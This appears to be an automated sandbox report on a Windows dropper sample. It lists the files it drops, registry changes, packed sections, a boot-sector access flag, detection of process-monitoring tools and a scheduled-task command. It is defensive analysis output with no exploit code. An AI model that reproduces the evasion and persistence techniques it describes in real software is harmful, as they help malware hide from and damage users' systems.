Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptprov.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: elscore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: elstrans.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Cleaner.lnk.5.dr

LNK file: ..\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Y-Cleaner.exe

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Video Minimizer_is1

Jump to behavior

Source: file.exe

Static file information: File size 1985024 > 1048576

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: Raw size of ehftnwgk is bigger than: 0x100000 < 0x1b2800

Source:	Binary string: msvcp71.pdbx# source: is-2UQRT.tmp.12.dr
Source:	Binary string: msvcr71.pdb< source: is-P1KGP.tmp.12.dr
Source:	Binary string: msvcp71.pdb source: is-2UQRT.tmp.12.dr
Source:	Binary string: MicrosoftWindowsGdiPlus-1.0.2600.1360-gdiplus.pdb source: is-OQPMB.tmp.12.dr
Source:	Binary string: C:\Users\79631\source\repos\Gcleanerapp\Gcleanerapp\obj\Release\Gcleanerapp.pdb source: xIphwNW7O.exe, 00000010.00000000.1948278515.0000000000F02000.00000002.00000001.01000000.0000000D.sdmp, PAB1[1].file.5.dr, xIphwNW7O.exe.5.dr
Source:	Binary string: msvcr71.pdb source: is-P1KGP.tmp.12.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Unpacked PE file: 15.2.videominimizer2.exe.400000.0.unpack .text:ER;_abtt_2:R;_actt_2:W;.rsrc:R;_adtt_2:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Unpacked PE file: 15.2.videominimizer2.exe.400000.0.unpack

Source: xIphwNW7O.exe.5.dr

Static PE information: 0xDEC807D9 [Wed Jun 9 20:26:01 2088 UTC]

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Code function: 12_2_004502C0 GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

12_2_004502C0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: PAB1[1].file.5.dr	Static PE information: real checksum: 0x0 should be: 0x25a5
Source: Y-Cleaner.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: dll[1].5.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: is-4LK4F.tmp.12.dr	Static PE information: real checksum: 0x0 should be: 0x335f1
Source: soft[1].5.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: _iscrypt.dll.12.dr	Static PE information: real checksum: 0x0 should be: 0x89d2
Source: sQurASc1qLwRL.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x4184a7
Source: is-N7369.tmp.12.dr	Static PE information: real checksum: 0x0 should be: 0x435d8
Source: Bunifu_UI_v1.5.3.dll.5.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: sQurASc1qLwRL.tmp.11.dr	Static PE information: real checksum: 0x0 should be: 0xb1ce6
Source: _setup64.tmp.12.dr	Static PE information: real checksum: 0x0 should be: 0x77d4
Source: file.exe	Static PE information: real checksum: 0x1ec2f5 should be: 0x1ef516
Source: ONE[1].file.5.dr	Static PE information: real checksum: 0x0 should be: 0x4184a7
Source: is-BD8Q6.tmp.12.dr	Static PE information: real checksum: 0x0 should be: 0xb2c03
Source: xIphwNW7O.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0x25a5
Source: is-2QCNJ.tmp.12.dr	Static PE information: real checksum: 0x0 should be: 0x6d96b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ehftnwgk
Source: file.exe	Static PE information: section name: unlnktmr
Source: file.exe	Static PE information: section name: .taggant
Source: videominimizer2.exe.12.dr	Static PE information: section name: _abtt_2
Source: videominimizer2.exe.12.dr	Static PE information: section name: _actt_2
Source: videominimizer2.exe.12.dr	Static PE information: section name: _adtt_2
Source: is-OQPMB.tmp.12.dr	Static PE information: section name: Shared
Source: is-HMRND.tmp.12.dr	Static PE information: section name: /4
Source: is-HMRND.tmp.12.dr	Static PE information: section name: /19
Source: is-HMRND.tmp.12.dr	Static PE information: section name: /35
Source: is-HMRND.tmp.12.dr	Static PE information: section name: /51
Source: is-HMRND.tmp.12.dr	Static PE information: section name: /63
Source: is-HMRND.tmp.12.dr	Static PE information: section name: /77
Source: is-HMRND.tmp.12.dr	Static PE information: section name: /89
Source: is-HMRND.tmp.12.dr	Static PE information: section name: /102
Source: is-HMRND.tmp.12.dr	Static PE information: section name: /113
Source: is-HMRND.tmp.12.dr	Static PE information: section name: /124
Source: EarnPackage.exe.15.dr	Static PE information: section name: _abtt_2
Source: EarnPackage.exe.15.dr	Static PE information: section name: _actt_2
Source: EarnPackage.exe.15.dr	Static PE information: section name: _adtt_2
Source: sqlite3.dll.15.dr	Static PE information: section name: /4
Source: sqlite3.dll.15.dr	Static PE information: section name: /19
Source: sqlite3.dll.15.dr	Static PE information: section name: /35
Source: sqlite3.dll.15.dr	Static PE information: section name: /51
Source: sqlite3.dll.15.dr	Static PE information: section name: /63
Source: sqlite3.dll.15.dr	Static PE information: section name: /77
Source: sqlite3.dll.15.dr	Static PE information: section name: /89
Source: sqlite3.dll.15.dr	Static PE information: section name: /102
Source: sqlite3.dll.15.dr	Static PE information: section name: /113
Source: sqlite3.dll.15.dr	Static PE information: section name: /124

Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Code function: 11_2_004065C8 push 00406605h; ret	11_2_004065FD
Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Code function: 11_2_004040B5 push eax; ret	11_2_004040F1
Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Code function: 11_2_00408104 push ecx; mov dword ptr [esp], eax	11_2_00408109
Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Code function: 11_2_00404185 push 00404391h; ret	11_2_00404389
Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Code function: 11_2_00404206 push 00404391h; ret	11_2_00404389
Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Code function: 11_2_0040C218 push eax; ret	11_2_0040C219
Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Code function: 11_2_004042E8 push 00404391h; ret	11_2_00404389
Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Code function: 11_2_00404283 push 00404391h; ret	11_2_00404389
Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Code function: 11_2_00408F38 push 00408F6Bh; ret	11_2_00408F63
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0040994C push 00409989h; ret	12_2_00409981
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00483A6C push 00483B7Ah; ret	12_2_00483B72
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004062B4 push ecx; mov dword ptr [esp], eax	12_2_004062B5
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004104E0 push ecx; mov dword ptr [esp], edx	12_2_004104E5
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0049481C push ecx; mov dword ptr [esp], ecx	12_2_00494821
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00412928 push 0041298Bh; ret	12_2_00412983
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0040CE38 push ecx; mov dword ptr [esp], edx	12_2_0040CE3A
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0048515C push ecx; mov dword ptr [esp], ecx	12_2_00485161
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00459120 push 00459164h; ret	12_2_0045915C
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0040F398 push ecx; mov dword ptr [esp], edx	12_2_0040F39A
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00443440 push ecx; mov dword ptr [esp], ecx	12_2_00443444
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0040546D push eax; ret	12_2_004054A9
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0040553D push 00405749h; ret	12_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004055BE push 00405749h; ret	12_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00477628 push ecx; mov dword ptr [esp], edx	12_2_00477629
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0040563B push 00405749h; ret	12_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004056A0 push 00405749h; ret	12_2_00405741
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004517F8 push 0045182Bh; ret	12_2_00451823
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004519BC push ecx; mov dword ptr [esp], eax	12_2_004519C1
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0045FB90 push ecx; mov dword ptr [esp], ecx	12_2_0045FB94
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00419C28 push ecx; mov dword ptr [esp], ecx	12_2_00419C2D
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00499D1C pushad ; retf	12_2_00499D2B

Source: file.exe	Static PE information: section name: ehftnwgk entropy: 7.94243036954353
Source: Y-Cleaner.exe.5.dr	Static PE information: section name: .text entropy: 7.918511524700298
Source: soft[1].5.dr	Static PE information: section name: .text entropy: 7.918511524700298
Source: videominimizer2.exe.12.dr	Static PE information: section name: .text entropy: 7.7492380383513595
Source: EarnPackage.exe.15.dr	Static PE information: section name: .text entropy: 7.7492380383513595

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive0		15_2_00401A4F
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive0		15_2_02D8E898

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-4LK4F.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\msvcr71.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Bunifu_UI_v1.5.3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\LTDIS13n.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\msvcp71.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\gdiplus.dll (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\sqlite3.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-2UQRT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-N7369.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-2QCNJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\uninstall\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\PAB1[1].file	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	File created: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\soft[1]	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\ONE[1].file	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\dll[1]	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\FD262DGWNd4Ftrw6rV5Cv\Y-Cleaner.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\uninstall\is-BD8Q6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	File created: C:\ProgramData\EarnPackage\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-OQPMB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\ltkrn13n.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-HMRND.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Temp\is-C98MG.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	File created: C:\Users\user\AppData\Local\Video Minimizer 2.33\is-P1KGP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	File created: C:\ProgramData\EarnPackage\EarnPackage.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	File created: C:\ProgramData\EarnPackage\sqlite3.dll			Jump to dropped file
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	File created: C:\ProgramData\EarnPackage\EarnPackage.exe			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\ONE[1].file	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\PAB1[1].file	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\dll[1]	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\soft[1]	Jump to dropped file

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive0		15_2_00401A4F
Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe	Code function: CreateFileA,DeviceIoControl,GetLastError,CloseHandle, \\.\PhysicalDrive0		15_2_02D8E898

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /Delete /F /TN "video_minimizer_12124"

Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe

Code function: 15_2_00402B64 StartServiceCtrlDispatcherA,

15_2_00402B64

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00423C0C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	12_2_00423C0C
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00423C0C IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	12_2_00423C0C
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_004241DC IsIconic,SetActiveWindow,SetFocus,	12_2_004241DC
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00424194 IsIconic,SetActiveWindow,	12_2_00424194
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00418384 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,	12_2_00418384
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_0042285C SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,	12_2_0042285C
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00483420 IsIconic,GetWindowLongA,ShowWindow,ShowWindow,	12_2_00483420
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00417598 IsIconic,GetCapture,	12_2_00417598
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00417CCE IsIconic,SetWindowPos,	12_2_00417CCE
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Code function: 12_2_00417CD0 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,	12_2_00417CD0

Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp

Code function: 12_2_0041F118 GetVersion,SetErrorMode,LoadLibraryA,SetErrorMode,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

12_2_0041F118

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
